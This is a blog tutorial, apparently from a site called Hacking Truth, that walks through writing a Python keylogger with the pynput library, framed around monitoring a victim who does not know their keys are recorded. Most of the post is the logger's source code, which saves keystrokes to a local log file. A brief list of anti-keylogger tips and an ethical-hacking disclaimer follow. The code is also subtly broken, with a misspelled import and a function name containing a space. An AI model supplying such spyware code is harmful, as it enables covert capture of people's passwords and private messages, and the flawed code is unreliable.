How to make a simple keylogger in python

Hacking Truth
0

 

How to make a simple keylogger in python

 

 

 

How to make a simple keylogger in python

What is keylogger ?


Recording the keys struck on a keyboard, and the victim using the keyboard is unaware that their actions are being monitored. This logging program is called a keylogger. Data can then be retrieved by the person operating the logging program.



Step 1. Install the following packages:

  • pip install pynput



Step 2. Import the required libraries:

import pynput
from pynput.keyboard import key, Listener



 

Step 3. Define a list to store keys and a variable to store character count.

charCount = 0
keys = []


 

 

Lets write a function to perform some actions when a key is pressed.

def onKeyPress(key):
    try:
        print('Key Pressed : ', Key)        #print pressed key
    except Exception as  ex:
        print('There was an error :', ex)
        




Now, let's write a function to handle key release


def onKeyRelease(key):
    global keys, charCount             #Access global variables
    if key == Key.esc:
       return False
    else:
       if key == Key.enter:            #write keys to file
          writeToFile(keys)
          charCount = 0
          keys = []
       elif key == Key.space:          #write keys to file
          key = ' '
          writeToFile(keys)
          keys = []
          charCount = 0
       keys.append(key)              #store the keys
       charCount += 1               #Count keys pressed
       
       
       
       
       
Finally, let's define a function that will log the keys pressed to a log file


def writeTo File(keys):
    with open('log.txt', 'a') as file:
         for key in keys:
             key = str(key).replace("'", "")        #replace ' with space
             if 'key'.upper() not in key.upper():
                 file.write(key)
                 
                 
         file.write("\n")                  #insert now line               



We can use the Listener provided by '**pynput'** to log the keys


with Listener(on_press=onKeyPress,\
     on_release=onKeyRelease) as listener:
     listener.join()
     




6 Ways to protect yourself against keyloggers


1. Use a firewall
2. Install a password manager
3. Update your system
4. Consider additional security tools
5. Change your passwords
6. Remove any unwanted physical cable/device from system... 

 

 

 

Disclaimer

All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.
 
 

            

Post a Comment

0 Comments
* Please Don't Spam Here. All the Comments are Reviewed by Admin.
Post a Comment (0)
Our website uses cookies to enhance your experience. Learn More
Accept !